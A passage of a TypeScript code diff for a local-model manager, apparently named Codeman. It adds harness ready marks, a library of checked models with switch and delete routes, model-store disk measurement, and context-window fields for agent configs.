+ * |            |                                   | reached the runtime, no turn finished  | `❯` too until it was finished once   |
+ *
+ * Every one of them sent the `name:tag` model id unchanged. `pi` was gated until 2026-11-10 for
+ * two open questions, both answered by its run: the id (above), and the window, which Codeman
+ * now passes to it (src/custom-model-injection.ts; without it pi takes an unknown model for a
+ * 128,000-token one). `deepseek` is a LAUNCHER: its install command leaves it with nothing to
+ * launch, so src/local-model/harness-facts.ts never reports it installable and a Mac is offered
+ * it only where it was already set up. It is offered on a scripted run and one unfinished real
+ * one: gate the row again (`gated: true`) should a run on a Mac not finish a turn. Two things
+ * about dsh-TUI 0.19.0 that a client of its `readyMark` must know: until a person has finished
+ * its setup guide once, every session opens on that guide and the guide's cursor is the mark
+ * (the codeman skill reads the pane after the mark for that reason), and its transcript file
+ * was renamed, so Codeman's `last-response` is empty for it for now.
+ *
  * MEMORY. The need is `bytes + heldBytesPerToken x context + overheadBytes + peakExtraBytes`
  * (src/local-model/recommend.ts). The two runners spend memory differently, so a row's three
  * figures are filled by the rule of its runner:
@@ -222,6 +259,8 @@ const LocalHarnessEntrySchema = z
     rank: z.number().int(),
     gated: z.boolean().optional(),
     slowFirstTurn: z.boolean().optional(),
+    // One literal a script waits for: no white space, so the terminal's own spacing cannot split it.
+    readyMark: z.string().min(1).max(64).regex(/^\S+$/).optional(),
   })
   .strict();
 
@@ -528,13 +567,16 @@ export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
       tested: [],
     },
   ],
-  // The higher rank wins when a model can run with more than one harness.
+  // The higher rank wins when a model can run with more than one harness. What each row rests
+  // on is the HARNESSES table of the file header.
   harnesses: [
-    { cli: 'opencode', minContext: 65536, rank: 3 },
+    { cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
     // Sends a fixed prompt of about 36,000 tokens, so the first answer takes minutes.
-    { cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
-    // Gated: neither its 32768 minimum nor its handling of a `name:tag` model id is verified.
-    { cli: 'pi', minContext: 32768, rank: 1, gated: true },
+    { cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
+    // The smallest first request of the four (2,096 tokens). No `readyMark`: see HARNESSES.
+    { cli: 'pi', minContext: 65536, rank: 2 },
+    // A launcher: offered only where it is already set up, never installed from here.
+    { cli: 'deepseek', minContext: 65536, rank: 1 },
   ],
   // Memory bandwidth in GB/s, most specific first. Only chips that shipped and are in the source
   // table are listed. Where one name covers two bandwidths (M3 Max 300 or 400, M4 Max 410 or 546,

src/custom-model-injection.ts

@@ -194,6 +194,21 @@ function opencodeModelLimit(contextLength: number | undefined): { context: numbe
   return { context: total, output };
 }
 
+/**
+ * The two fields pi's model list and the dsh provider patch (which is built on pi's model
+ * layer) take for a model's window: `contextWindow`, the FULL window, and `maxTokens`, the
+ * reply's share of it (a quarter, capped at 8192 on a large window). Empty for an unknown or
+ * non-finite size: the CLI then keeps its own default, and no limit is invented here.
+ */
+function modelWindowFields(contextLength: number | undefined): { contextWindow?: number; maxTokens?: number } {
+  if (contextLength === undefined || !Number.isFinite(contextLength) || contextLength <= 0) return {};
+  return {
+    contextWindow: Math.trunc(contextLength),
+    // A quarter of the window keeps the reply inside the prompt's share; 8192 caps it on a large window.
+    maxTokens: Math.max(1, Math.min(8192, Math.floor(contextLength / 4))),
+  };
+}
+
 function renderConfigContent(
   template: 'opencode-json',
   endpoint: CustomModelEndpoint,
@@ -260,19 +275,7 @@ function renderConfigFile(
                     apiKeyEnv: CUSTOM_MODEL_API_KEY_ENV_VAR,
                     api: 'openai-completions',
                     baseURL: baseUrl,
-                    models: [
-                      {
-                        id: modelId,
-                        name: modelId,
-                        ...(contextLength !== undefined && Number.isFinite(contextLength) && contextLength > 0
-                          ? {
-                              contextWindow: Math.trunc(contextLength),
-                              // A quarter of the window keeps the reply inside the prompt's share; 8192 caps it on a large window.
-                              maxTokens: Math.max(1, Math.min(8192, Math.floor(contextLength / 4))),
-                            }
-                          : {}),
-                      },
-                    ],
+                    models: [{ id: modelId, name: modelId, ...modelWindowFields(contextLength) }],
                   },
                 },
               },
@@ -327,6 +330,11 @@ function renderConfigFile(
       // true` is required too: pi does not automatically send `Authorization: Bearer
       // <apiKey>` just because `apiKey` is set (per the same doc) — without it, a real
       // (non-llama.cpp) endpoint that actually checks the key would reject every request.
+      // The model entry carries the endpoint's context window when it is known. Without it pi
+      // takes an unknown model for a 128,000-token one (its footer reads `/128k`) and asks for
+      // 16,384 reply tokens, so on a 65,536 or 32,768 window it never compacts before the
+      // server's real window is full. Measured on pi 1.5.2: with both fields `pi --list-models`
+      // shows the window and the request carries `max_tokens: 8192`.
       return {
         content: JSON.stringify(
           {
@@ -336,7 +344,7 @@ function renderConfigFile(
                 apiKey,
                 api: 'openai-completions',
                 authHeader: true,
-                models: [{ id: modelId }],
+                models: [{ id: modelId, ...modelWindowFields(contextLength) }],
               },
             },
           },

src/local-model/harness-facts.ts

@@ -9,14 +9,18 @@
  *    mechanism (`capabilities.customModelInjection.kind` is `unsupported`);
  *  - reports `label` from the registry entry and `installed` from the same probe the page
  *    render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build;
- *  - reports `installable` only for a STOCK CLI that is not installed and whose install
- *    command for this platform needs no administrator rights (`installCommandNeedsAdmin()`),
- *    and then carries that command as `installCommand`, so the consent screen can print the
+ *  - reports `installable` only for a STOCK CLI that is not installed, whose install command
+ *    for this platform needs no administrator rights (`installCommandNeedsAdmin()`) and which
+ *    is not a launcher (`discovery.launcherProfile`: its install command leaves it with nothing
+ *    to launch, and what it launches is third-party code with a consent of its own in the Run
+ *    menu), and then carries that command as `installCommand`, so the consent screen can print the
  *    literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the
  *    one a `clis.json` override supplies: it is exactly what the install job would run, and
  *    an override file must not be able to change that;
  *  - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch
- *    applies to the model id before anything is written.
+ *    applies to the model id before anything is written;
+ *  - passes on the registry's `capabilities.composerReadyMark` as `readyMark` when it holds no
+ *    white space (a script waits for it as one literal).
  *
  * Rules:
  *  - No CLI id is compared with a literal here or anywhere: the id comes from the catalogue
@@ -156,19 +160,23 @@ export async function buildHarnessFacts(
     }
 
     let installCommand: string | undefined;
-    if (!installed && entry.stock) {
+    // A launcher (`discovery.launcherProfile`) is not startable after its install command: it
+    // still needs something to launch, which that command does not install.
+    if (!installed && entry.stock && entry.discovery.launcherProfile === undefined) {
       const command = resolved.installCommandFor(entry);
       if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) {
         installCommand = command;
       }
     }
 
+    const registryMark = entry.capabilities.composerReadyMark;
     facts.push({
       cli: row.cli,
       label: entry.label,
       installed,
       installable: installCommand !== undefined,
       ...(installCommand !== undefined ? { installCommand } : {}),
+      ...(registryMark !== undefined && !/\s/.test(registryMark) ? { readyMark: registryMark } : {}),
       acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId),
     });
   }

src/local-model/runtime.ts

@@ -808,6 +808,45 @@ export async function removePartialModelBlobs(paths?: LocalModelPaths): Promise<
   return freed;
 }
 
+/** How many files of the blob folder are counted at most: a store holds a few dozen, and a walk must end. */
+const STORE_MEASURE_MAX_FILES = 20_000;
+
+/**
+ * What the model store takes on disk: the sizes of the regular files directly in
+ * `<models>/blobs`, summed. That folder is flat (one file per layer, plus the partial files of
+ * a download), so this is the store's real disk use, shared layers counted once, an
+ * interrupted download included. The manifests beside it are a few kilobytes and are left out.
+ *
+ * One `readdir` and one `lstat` per file, at most `STORE_MEASURE_MAX_FILES` of them. Nothing is
+ * followed: a `root`, a model store or a blob folder that is a symbolic link counts as empty,
+ * and so does a link in the place of a file. Never outside `LocalModelPaths.root`. Resolves 0
+ * when there is no store. Never throws.
+ */
+export async function measureModelStore(paths?: LocalModelPaths): Promise<number> {
+  let total = 0;
+  try {
+    const resolved = paths ?? localModelPaths(OLLAMA_RUNTIME_PIN.version);
+    const blobs = join(resolved.modelsDir, 'blobs');
+    if (!isInsideLocalModelRoot(blobs, resolved.root)) return 0;
+    for (const folder of [resolved.root, resolved.modelsDir, blobs]) {
+      const info = await lstat(folder);
+      if (info.isSymbolicLink() || !info.isDirectory()) return 0;
+    }
+    const names = await readdir(blobs);
+    for (const name of names.slice(0, STORE_MEASURE_MAX_FILES)) {
+      try {
+        const info = await lstat(join(blobs, name));
+        if (info.isFile()) total += info.size;
+      } catch {
+        // Gone between the listing and the look: a download or a delete is under way.
+      }
+    }
+  } catch {
+    // No model store yet.
+  }
+  return total;
+}
+
 // ---------- Port ----------
 
 /** Whether nothing holds `port` on 127.0.0.1, decided by binding it and letting go again. */

src/local-model/state-store.ts

@@ -26,6 +26,7 @@ import {
   type LocalModelErrorCode,
   type LocalModelInstallState,
   type LocalModelInstallStep,
+  type LocalModelLibraryEntry,
   type LocalModelStateFile,
 } from '../types.js';
 import { OLLAMA_RUNTIME_PIN } from './runtime.js';
@@ -153,6 +154,41 @@ function parseConnection(value: unknown): LocalModelStateFile['connection'] {
     : undefined;
 }
 
+/** How many checked models a state file may list: far more than one Mac holds, and a bound on what a damaged file can cost. */
+const MAX_LIBRARY_ENTRIES = 64;
+
+/**
+ * The checked models of a file. An entry without its id, label, context or digest is dropped
+ * (it could never be switched to), and so is a second entry for an id. `undefined` for a file
+ * that has no list, which is what an earlier build wrote.
+ */
+function parseLibrary(value: unknown): LocalModelLibraryEntry[] | undefined {
+  if (!Array.isArray(value)) return undefined;
+  const entries: LocalModelLibraryEntry[] = [];
+  for (const item of value) {
+    if (entries.length >= MAX_LIBRARY_ENTRIES) break;
+    if (!isRecord(item)) continue;
+    const id = text(item.id, 200);
+    const label = text(item.label, 200);
+    const context = count(item.context);
+    const digest = text(item.digest, 200);
+    if (!id || !label || !context || !digest || entries.some((entry) => entry.id === id)) continue;
+    const bytes = count(item.bytes);
+    const cli = parseCli(item.cli);
+    const verifiedAt = text(item.verifiedAt, 64);
+    entries.push({
+      id,
+      label,
+      context,
+      digest,
+      ...(bytes ? { bytes } : {}),
+      ...(cli ? { cli } : {}),
+      ...(verifiedAt ? { verifiedAt } : {}),
+    });
+  }
+  return entries;
+}
+
 /**
  * The state a file's text stands for. Pure and total: text that is not a JSON object of
  * `schema: 1` with a known `state` is `IDLE_LOCAL_MODEL_STATE`. Members it does not know are
@@ -180,6 +216,7 @@ export function parseLocalModelState(raw: string): LocalModelStateFile {
   const connection = parseConnection(parsed.connection);
   const updatedAt = text(parsed.updatedAt, 64);
   const replacedModelId = text(parsed.replacedModelId, 200);
+  const library = parseLibrary(parsed.library);
   if (!model || !cli) return IDLE_LOCAL_MODEL_STATE;
 
   if (state === 'installed') {
@@ -192,6 +229,7 @@ export function parseLocalModelState(raw: string): LocalModelStateFile {
       cli,
       runtime,
       ...(loaded ? { loaded } : {}),
+      ...(library ? { library } : {}),
       ...(connection ? { connection } : {}),
       ...(updatedAt ? { updatedAt } : {}),
     };
@@ -215,6 +253,7 @@ export function parseLocalModelState(raw: string): LocalModelStateFile {
     ...(runtime ? { runtime } : {}),
     ...(progress ? { progress } : {}),
     ...(loaded ? { loaded } : {}),
+    ...(library ? { library } : {}),
     ...(connection ? { connection } : {}),
     ...(replacedModelId ? { replacedModelId } : {}),
     ...(updatedAt ? { updatedAt } : {}),

src/types/local-model-install.ts

@@ -24,7 +24,11 @@
  * | `GET /api/local-model`           | none                        | none (a failed probe is an answer)                    |
  * | `POST /api/local-model/install`  | `LocalModelInstallRequest`  | 400 not a row the server offers, or a saved endpoint  |
  * |                                  |                             | already has the reserved id; 409 `job-running`,       |
- * |                                  |                             | `already-installed`, `size-changed`                   |
+ * |                                  |                             | `already-installed` (this model at this context is    |
+ * |                                  |                             | the one in use), `size-changed`, `sessions-open`      |
+ * | `POST /api/local-model/use`      | `LocalModelUseRequest`      | 400 not a checked model of the library, or no coding  |
+ * |                                  |                             | agent for it is installed; 409 `job-running`,         |
+ * |                                  |                             | `wrong-state`, `already-installed`, `sessions-open`   |
  * | `POST /api/local-model/cancel`   | none                        | 409 `wrong-state` (no job is running)                 |
  * | `POST /api/local-model/resume`   | `LocalModelResumeRequest`   | 409 `job-running`, `wrong-state` (not paused or       |
  * |                                  |                             | failed), `sessions-open` (another port while live     |
@@ -33,6 +37,9 @@
  * |                                  |                             | `sessions-open` (stop, or another port, while live    |
  * |                                  |                             | sessions use the model)                               |
  * | `DELETE /api/local-model`        | `LocalModelRemoveRequest`   | 409 `job-running`, `sessions-open`                    |
+ * | `DELETE /api/local-model/models` | `LocalModelDeleteRequest`   | 400 not a model of this Mac; 409 `job-running`,       |
+ * |                                  |                             | `wrong-state`, `model-active`, `runtime-not-running`; |
+ * |                                  |                             | 500 the runtime did not delete it                     |
  *
  * A 409 is the error envelope plus `data: LocalModelConflict`:
  * `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. A 409
@@ -141,7 +148,10 @@ export const LOCAL_MODEL_INSTALL_STEPS: readonly LocalModelInstallStep[] = [
  * | `harness-failed`          | the coding agent's install command failed, or its binary is still missing |
  * | `endpoint-id-taken`       | a saved endpoint with our id exists that this feature did not write      |
  * | `connect-failed`          | the endpoint record or the settings flag could not be written            |
- * | `model-changed`           | installed: the model's digest is not the one stored at install time      |
+ * | `model-changed`           | installed: the model's digest is not the one stored at install time. A   |
+ * |                           | switch: the model's digest is not the one it was checked with            |
+ * | `job-unfinished`          | a job that changes the model in use is running or stopped. Only a        |
+ * |                           | refused session start says it: nothing is started until the job ended    |
  * | `internal`                | anything unexpected (the exception text is in `detail`)                  |
  */
 export type LocalModelErrorCode =
@@ -164,6 +174,7 @@ export type LocalModelErrorCode =
   | 'endpoint-id-taken'
   | 'connect-failed'
   | 'model-changed'
+  | 'job-unfinished'
   | 'internal';
 
 /**
@@ -192,12 +203,28 @@ export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start'
  *  - `cancel`: `POST /api/local-model/cancel`.
  *  - `resume`: `POST /api/local-model/resume`.
  *  - `start` and `stop`: `POST /api/local-model/runtime`.
- *  - `remove`: `DELETE /api/local-model`.
+ *  - `remove`: `DELETE /api/local-model`. In `idle` it is listed only while the model store
+ *    still holds something (models an earlier Remove kept): it is then what frees that space.
  *  - `start-session`: not a route of this feature: the window starts a session on the endpoint
  *    `endpointId` with the coding agent `cli`. Offered only while the runtime runs and nothing
  *    blocks a session.
+ *  - `use`: `POST /api/local-model/use`. Listed only while a row of `library` offers it.
+ *  - `delete-model`: `DELETE /api/local-model/models`. Listed only while a row of `library`
+ *    offers it.
+ *  - `install-agent`: `POST /api/local-model/agent`. Listed only while a row of `harnesses`
+ *    offers it.
  */
-export type LocalModelAction = 'install' | 'cancel' | 'resume' | 'start' | 'stop' | 'remove' | 'start-session';
+export type LocalModelAction =
+  | 'install'
+  | 'cancel'
+  | 'resume'
+  | 'start'
+  | 'stop'
+  | 'remove'
+  | 'start-session'
+  | 'use'
+  | 'delete-model'
+  | 'install-agent';
 
 /** Whether the Mac has the developer tools (git, Python) a coding agent calls. */
 export type LocalModelDeveloperTools =
@@ -225,7 +252,9 @@ export type LocalModelDeveloperTools =
  * | `errHarnessFailed`     | `cli`: the coding agent's label                                      |
  * | `errEndpointIdTaken`   | `id`: the endpoint id this feature uses                              |
  * | `refusedAgentNotInstallable` | `cli`: the coding agent's label                                |
- * | `refusedOtherModel`    | `model`: the label of the model that is installed                    |
+ * | `refusedOtherModel`    | `model`: the label of the model that is in use                       |
+ * | `refusedAgentMissing`  | `cli`: the coding agent's label                                      |
+ * | `conflictModelActive`, `deleteFailed` | `model`: the model's label                            |
  * | `conflictSizeChanged`  | `size`: the server's own total as decimal GB                         |
  * | `conflictSessionsOpen` | `sessions`: the session names, joined with ', '                      |
  *
@@ -259,16 +288,23 @@ export const LOCAL_MODEL_INSTALL_LABELS = {
     'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.',
   errConnectFailed: 'Codeman could not save the connection to the model.',
   errModelChanged: 'The model on this Mac changed since it was installed. Remove it and install it again.',
+  errJobUnfinished:
+    'The model on this Mac is being changed and is not ready. Finish or undo that in the local model window first.',
   errInternal: 'The install stopped on an unexpected error.',
   conflictJobRunning: 'An install is already running.',
-  conflictAlreadyInstalled: 'A model is already installed on this Mac. Remove it first.',
+  conflictAlreadyInstalled: 'This model is already in use on this Mac.',
+  conflictModelActive: '{model} is the model in use. Switch to another model first, or remove the local model.',
   conflictSizeChanged: 'The download is {size} GB now. Check the sizes and confirm again.',
   conflictSessionsOpen: 'Sessions are still using this model: {sessions}. Close them first.',
   conflictWrongState: 'That is not possible in the current state.',
   refusedModelNotOffered: 'This model at this context is not offered for this Mac right now.',
   refusedAgentNotOffered: 'This coding agent is not offered for this model.',
   refusedAgentNotInstallable: '{cli} is not installed and cannot be installed from here.',
-  refusedOtherModel: 'Only {model} is installed on this Mac. Remove it and install another model first.',
+  refusedOtherModel: 'Only {model} is in use on this Mac. Switch models in the local model window first.',
+  refusedNotInLibrary: 'This model is not one of the checked models on this Mac.',
+  refusedNotOnThisMac: 'This model is not on this Mac.',
+  deleteFailed: '{model} could not be deleted from this Mac.',
+  refusedAgentMissing: '{cli} is not installed on this Mac. Install a coding agent in the local model window first.',
   endpointManaged:
     'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.',
   endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.',
@@ -307,6 +343,7 @@ export const LOCAL_MODEL_ERROR_LABELS: Record<LocalModelErrorCode, LocalModelIns
   'endpoint-id-taken': LOCAL_MODEL_INSTALL_LABELS.errEndpointIdTaken,
   'connect-failed': LOCAL_MODEL_INSTALL_LABELS.errConnectFailed,
   'model-changed': LOCAL_MODEL_INSTALL_LABELS.errModelChanged,
+  'job-unfinished': LOCAL_MODEL_INSTALL_LABELS.errJobUnfinished,
   internal: LOCAL_MODEL_INSTALL_LABELS.errInternal,
 };
 
@@ -331,6 +368,7 @@ export const LOCAL_MODEL_ERROR_NEXT: Record<LocalModelErrorCode, LocalModelNextS
   'endpoint-id-taken': 'retry',
   'connect-failed': 'retry',
   'model-changed': 'remove',
+  'job-unfinished': 'retry',
   internal: 'retry',
 };
 
@@ -426,7 +464,9 @@ export interface LocalModelLoadedFacts {
  * | `port`                            |      | once chosen | once chosen | once chosen | yes |
  * | `loaded`, `endpointId`            |      |            |        |        | yes       |
  *
- * `running`, `developerTools`, `runtime`, `folder` and `actions` are always present.
+ * `running`, `developerTools`, `runtime`, `folder`, `library`, `harnesses` and `actions` are
+ * always present. `store` is present once the model store was measured. `harnesses` is empty
+ * in every state but `installed`.
  */
 export interface LocalModelInstallView {
   state: LocalModelInstallState;
@@ -437,7 +477,11 @@ export interface LocalModelInstallView {
   progress?: LocalModelProgress;
   error?: LocalModelInstallError;
   model?: LocalModelInstalledModel;
-  /** The coding agent: a CLI registry id, as data. */
+  /**
+   * The coding agent of the job, and on an installed model the DEFAULT one: the agent it was
+   * installed with, which a client that names no agent starts. A CLI registry id, as data.
+   * `harnesses` lists every agent a session can be started with.
+   */
   cli?: string;
   /** The coding agent's display label ('OpenCode'). */
   cliLabel?: string;
@@ -454,10 +498,127 @@ export interface LocalModelInstallView {
   loaded?: LocalModelLoadedFacts;
   /** The id of the saved endpoint a session is started on. */
   endpointId?: string;
+  /**
+   * The models on this Mac: every model Codeman checked (`LocalModelStateFile.library`), plus
+   * whatever else the running runtime lists. Empty in `idle` (no runtime is there to ask) and
+   * before anything was downloaded. The model in use comes first.
+   */
+  library: LocalModelLibraryRow[];
+  /** What the model store takes on disk right now. Present in every state once it was measured. */
+  store?: LocalModelStoreView;
+  /**
+   * The coding agents a session on the model in use can be started with: every catalogue
+   * harness that works at the model's context and accepts its name, the default one (`cli`)
+   * first, then by catalogue rank. The agent is chosen per session, so a row is not a setting.
+   * Empty in every state but `installed`.
+   */
+  harnesses: LocalModelHarnessRow[];
   /** What the server accepts right now, see `LocalModelAction`. */
   actions: LocalModelAction[];
 }
 
+/**
+ * How a coding agent of `harnesses` stands on this Mac.
+ *  - `ready`: it can be started (the same answer the Run menu gets).
+ *  - `installable`: it is not on this Mac, and `POST /api/local-model/agent` installs it with
+ *    `installCommand`.
+ *  - `installing`: that install is running. It runs beside the model: nothing about the model
+ *    in use changes, and a session with another agent can be started meanwhile.
+ *  - `setup-needed`: it is not startable and one command does not make it so (a launcher
+ *    without a profile, or a command that needs an administrator). Its own setup is in the Run
+ *    menu or in a terminal; nothing is offered here.
+ */
+export type LocalModelHarnessStatus = 'ready' | 'installable' | 'installing' | 'setup-needed';
+
+/** What can be done with one row of `harnesses`: start a session with it, or `POST /api/local-model/agent`. */
+export type LocalModelHarnessAction = 'start-session' | 'install';
+
+/** One coding agent the model in use can be run with. Everything a client needs is here, so it compares no CLI id. */
+export interface LocalModelHarnessRow {
+  /** The CLI registry id, as data: the `mode` of a session started with it, and the `cli` of `POST /api/local-model/agent`. */
+  cli: string;
+  /** The registry's display label ('OpenCode'). */
+  cliLabel: string;
+  /** True on the row `LocalModelInstallView.cli` names. */
+  default: boolean;
+  status: LocalModelHarnessStatus;
+  /**
+   * The literal command `POST /api/local-model/agent` would run: the STOCK command of the CLI
+   * registry for this platform. Present exactly when `status` is `installable` or `installing`.
+   * The consent prints it as it is.
+   */
+  installCommand?: string;
+  /** The harness row's `slowFirstTurn`: the first answer takes minutes. */
+  slowFirstTurn?: boolean;
+  /**
+   * A literal with no white space the agent's composer draws once it takes input
+   * (`LocalHarnessEntry.readyMark`, else the CLI registry's `composerReadyMark`): what a script
+   * waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt. Absent
+   * for an agent with no measured mark.
+   */
+  readyMark?: string;
+  /**
+   * The last install of this agent through `POST /api/local-model/agent` failed, and it is
+   * still not on this Mac. Kept in memory only: a restart of the server forgets it.
+   */
+  error?: LocalModelAgentError;
+  /** What the server accepts for this row right now. */
+  actions: LocalModelHarnessAction[];
+}
+
+/** Why an install of a coding agent from an installed model failed. */
+export interface LocalModelAgentError {
+  /** `errHarnessFailed` with the agent's label. */
+  message: LocalModelInstallMessage;
+  /** The end of what the installer printed, as it is (English or the tool's own language). */
+  detail?: string;
+}
+
+/**
+ * How a model of the library stands.
+ *  - `ready`: checked by Codeman, and the runtime (when it was asked) still lists it with the
+ *    digest that was stored.
+ *  - `changed`: checked, but the runtime now lists another digest under the name. It is never
+ *    started: `use` would fail with `model-changed`.
+ *  - `missing`: checked, but the runtime no longer lists it (something deleted it through the
+ *    runtime's port).
+ *  - `unverified`: the runtime lists it and Codeman never checked it: a model an earlier
+ *    Remove kept, the model of a job that has not passed its check yet, or one another program
+ *    pulled through the runtime's port. Never startable.
+ */
+export type LocalModelLibraryStatus = 'ready' | 'changed' | 'missing' | 'unverified';
+
+/** What can be done with one row of `library`: `POST /api/local-model/use` and `DELETE /api/local-model/models`. */
+export type LocalModelLibraryAction = 'use' | 'delete';
+
+/** One model on this Mac. */
+export interface LocalModelLibraryRow {
+  /** The model's name exactly as the runtime lists it (`name:tag`). */
+  id: string;
+  /** Its catalogue label, or `id` for a model the catalogue does not know. */
+  label: string;
+  /** The context it was checked with. Absent for an `unverified` row. */
+  context?: number;
+  /** Its size on disk: what the runtime reports, else what was recorded when it was checked. */
+  sizeBytes?: number;
+  /** `sizeBytes` as decimal GB text, no unit. Present exactly when `sizeBytes` is. */
+  sizeGb?: string;
+  /** It is the model in use: the one of an `installed` state. */
+  active: boolean;
+  /** Codeman checked it (`LocalModelStateFile.library` holds it). */
+  verified: boolean;
+  status: LocalModelLibraryStatus;
+  /** What the server accepts for this row right now. `delete` needs the running runtime. */
+  actions: LocalModelLibraryAction[];
+}
+
+/** The disk use of the model store: the files directly in its blob folder, summed. */
+export interface LocalModelStoreView {
+  bytes: number;
+  /** `bytes` as decimal GB text, no unit. */
+  gb: string;
+}
+
 /** The `data` of `GET /api/local-model`. Admin only in multi-user mode. */
 export interface LocalModelStatus {
   hardware: HardwareFacts;
@@ -511,6 +672,27 @@ export interface LocalModelRemoveRequest {
   removeModel?: boolean;
 }
 
+/** Body of `POST /api/local-model/use`: a checked model of `library` to switch to. Nothing is downloaded. */
+export interface LocalModelUseRequest {
+  /** `LocalModelLibraryRow.id` of a row whose `actions` list `use`. */
+  modelId: string;
+}
+
+/** Body of `DELETE /api/local-model/models`: one model to delete from the store. */
+export interface LocalModelDeleteRequest {
+  /** `LocalModelLibraryRow.id` of a row whose `actions` list `delete`. Never a path. */
+  modelId: string;
+}
+
+/**
+ * Body of `POST /api/local-model/agent`: a coding agent of `harnesses` to install beside an
+ * installed model. The click that sends it is the consent to the row's `installCommand`.
+ */
+export interface LocalModelAgentRequest {
+  /** `LocalModelHarnessRow.cli` of a row whose `actions` list `install`. */
+  cli: string;
+}
+
 /** The `data` of a 400 the service names: its sentence, for the window to print in its own language. */
 export interface LocalModelRefusal {
   message: LocalModelInstallMessage;
@@ -522,20 +704,26 @@ export type LocalModelVerbAnswer = LocalModelInstallView;
 /**
  * Why a verb was refused with 409.
  *  - `job-running`: a job is running (a second install, a resume, a remove or a runtime action).
- *  - `already-installed`: install while a model is installed. Remove it first.
+ *  - `already-installed`: install or use of the model that is already the one in use (at the
+ *    same context).
  *  - `size-changed`: `acknowledgedBytes` is not the server's total; `expectedBytes` and
  *    `expectedGb` carry that total, so the window can show it and ask again.
- *  - `sessions-open`: remove, stop or a change of port while live sessions use the endpoint;
- *    `sessions` names them. Their coding agents were given the runtime's address when they
- *    started, so they would go on calling a port nothing of ours holds.
+ *  - `sessions-open`: remove, stop, a change of port, an install of another model or a switch
+ *    while live sessions use the endpoint; `sessions` names them. Their coding agents were
+ *    given the runtime's address and the model's name when they started, so they would go on
+ *    calling a port nothing of ours holds, or make the runtime swap models on every request.
  *  - `wrong-state`: the verb makes no sense in the current state (see the route table above).
+ *  - `model-active`: a delete of the model the installation or the current job is about.
+ *  - `runtime-not-running`: a delete while the runtime is down: only the runtime deletes a model.
  */
 export type LocalModelConflictReason =
   | 'job-running'
   | 'already-installed'
   | 'size-changed'
   | 'sessions-open'
-  | 'wrong-state';
+  | 'wrong-state'
+  | 'model-active'
+  | 'runtime-not-running';
 
 /** The `data` of a 409 of an install verb. */
 export interface LocalModelConflict {
@@ -622,6 +810,14 @@ export interface LocalModelStateFile {
   progress?: { completedBytes: number; totalBytes: number };
   /** What the runtime reported when the job checked the loaded model. */
   loaded?: { context: number; sizeBytes: number; sizeVramBytes: number };
+  /**
+   * Every model that PASSED the check through Codeman and is believed to be in the store, the
+   * model in use among them. An entry is written when the `verify` step passes and dropped
+   * when the model is deleted; `remove` drops the whole list. An `installed` file an earlier
+   * build wrote has none: its one model then counts as the library (`libraryOf()` in
+   * src/local-model/install-job.ts).
+   */
+  library?: LocalModelLibraryEntry[];
   /**
    * Present once the `connect` step CLAIMED the connection, which it does before its two
    * writes: what uninstall must undo. A claim with nothing behind it (the step was interrupted
@@ -636,3 +832,19 @@ export interface LocalModelStateFile {
   /** ISO time of the last write. */
   updatedAt?: string;
 }
+
+/** One checked model of `LocalModelStateFile.library`. It holds no path. */
+export interface LocalModelLibraryEntry {
+  id: string;
+  label: string;
+  /** The context length in tokens it was checked with. */
+  context: number;
+  /** The digest `/api/tags` reported when it passed the check. A switch to it must find the same one. */
+  digest: string;
+  /** Its size on disk as the runtime reported it then, for a listing while the runtime is stopped. */
+  bytes?: number;
+  /** The coding agent of the job that checked it. A switch back takes it when it is installed. */
+  cli?: { id: string; label: string };
+  /** ISO time of the check. */
+  verifiedAt?: string;
+}

src/types/local-model.ts

@@ -207,6 +207,15 @@ export interface LocalHarnessEntry {
   gated?: boolean;
   /** True: the first answer takes minutes, because the harness sends a very large fixed prompt. */
   slowFirstTurn?: boolean;
+  /**
+   * A literal with no white space that this harness's composer draws once it takes input, and
+   * nothing before it does: what a script waits for before it sends the first prompt
+   * (`GET /api/sessions/:id/wait-output`). Only a mark that was MEASURED on a session started
+   * on a custom model goes here. Absent: the CLI registry's own
+   * `capabilities.composerReadyMark` is used when it declares one, and a harness with neither
+   * has no mark.
+   */
+  readyMark?: string;
 }
 
 /**
@@ -248,9 +257,18 @@ export interface HarnessFact {
   cli: string;
   /** The registry's display label ('OpenCode'). */
   label: string;
-  /** The CLI's binary was found on this machine. */
+  /**
+   * The CLI can be started on this machine: the same answer the Run menu gets. For a launcher
+   * that starts nothing by itself (`discovery.launcherProfile` in the CLI registry) that is its
+   * binary AND something for it to launch.
+   */
   installed: boolean;
-  /** Not installed, but the registry has an install command for this platform that needs no administrator rights. */
+  /**
+   * Not installed, but ONE command makes it startable: the registry has an install command for
+   * this platform that needs no administrator rights, and the CLI is not a launcher. A launcher
+   * needs a second install the command does not make (a profile, which is third-party code
+   * with a consent of its own), so it is never installable from here.
+   */
   installable: boolean;
   /**
    * The literal install command the install job would run for this CLI: the STOCK
@@ -259,6 +277,8 @@ export interface HarnessFact {
    * (`CandidateHarness.installCommand`).
    */
   installCommand?: string;
+  /** The registry's `capabilities.composerReadyMark`, when the CLI declares one and it holds no white space. */
+  readyMark?: string;
   /** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */
   acceptsModelId: (modelId: string) => boolean;
 }
@@ -554,6 +574,12 @@ export interface Candidate {
   installBytes: number;
   /** `installBytes` as decimal GB text, no unit. */
   installGb: string;
+  /**
+   * Set by the route, never by `recommend()`: this model at this context is a checked model of
+   * the library on this Mac (`LocalModelInstallView.library`). `active`: it is the model in
+   * use. `ready`: `POST /api/local-model/use` switches to it, and nothing is downloaded.
+   */
+  library?: 'active' | 'ready';
 }
 
 /**

src/web/CLAUDE.md

